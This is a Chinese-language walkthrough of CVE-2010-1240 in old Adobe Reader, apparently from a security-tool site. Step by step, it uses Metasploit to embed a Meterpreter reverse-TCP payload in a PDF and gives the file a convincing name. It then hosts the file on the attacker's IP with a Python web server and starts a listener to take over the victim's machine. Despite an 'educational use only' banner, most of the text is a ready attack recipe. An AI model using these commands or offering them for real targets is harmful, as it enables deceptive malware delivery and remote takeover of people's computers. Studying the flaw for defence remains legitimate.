CVE-2010-1240 - 在 PDF 中嵌入后门

---

⚠️ 仅供教育和授权的安全研究使用

描述

Windows 和 Mac OS X 上的 Adobe Reader 和 Acrobat 9.x（低于 9.3.3）及 8.x（低于 8.2.3）未限制“启动文件”警告对话框中一个文本字段的内容，这使得远程攻击者更容易诱骗用户执行 PDF 文档中指定的任意本地程序，例如，某文本字段声称“打开”按钮将允许用户阅读加密消息。

演示

操作指南

1. 首先，运行 msfconsole

   root@kitploit:~

   msfconsole
   

2. 然后，设置用于嵌入 PDF 的载荷

   root@kitploit:~

   use exploit/windows/fileformat/adobe_pdf_embedded_exe
   

3. 设置 INFILENAME 选项，提供原始 PDF 文件的完整路径

   root@kitploit:~

   set INFILENAME /home/kali/Downloads/certificate-foundations-of-threat-hunting-60c893e734422a67991e093c.pdf
   

4. 通过设置 FILENAME 选项，将新创建的恶意 PDF 文件命名为更具说服力的名称

   root@kitploit:~

   set FILENAME laporan.pdf
   

5. 查找载荷并将其嵌入 PDF 文件

   root@kitploit:~

   set payload windows/meterpreter/reverse_tcp
   

6. 设置 LHOST 选项为攻击者的 IP

   root@kitploit:~

   set LHOST 172.16.10.10
   

7. 打开新终端，导航到恶意 PDF 文件所在位置

   root@kitploit:~

   cd .msf4/local/
   

8. 使用 Python 创建临时服务器

   root@kitploit:~

   python -m http.server
   

9. 在受害者机器上下载恶意 PDF 文件

   root@kitploit:~

   http://172.16.10.10:8000/certificate.pdf
   

10. 在受害者机器上运行恶意 PDF 文件之前，先在之前的终端中启动监听器

    root@kitploit:~

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 172.16.10.10
    exploit
    

11. 一旦在受害者机器上执行了恶意 PDF 文件，它将为你提供与受害者机器的连接

致谢

• https://nvd.nist.gov/vuln/detail/CVE-2010-1240
• https://medium.com/purple-team/embedding-backdoor-into-pdf-files-1781dfce62b1
• https://github.com/Jasmoon99/Embedded-PDF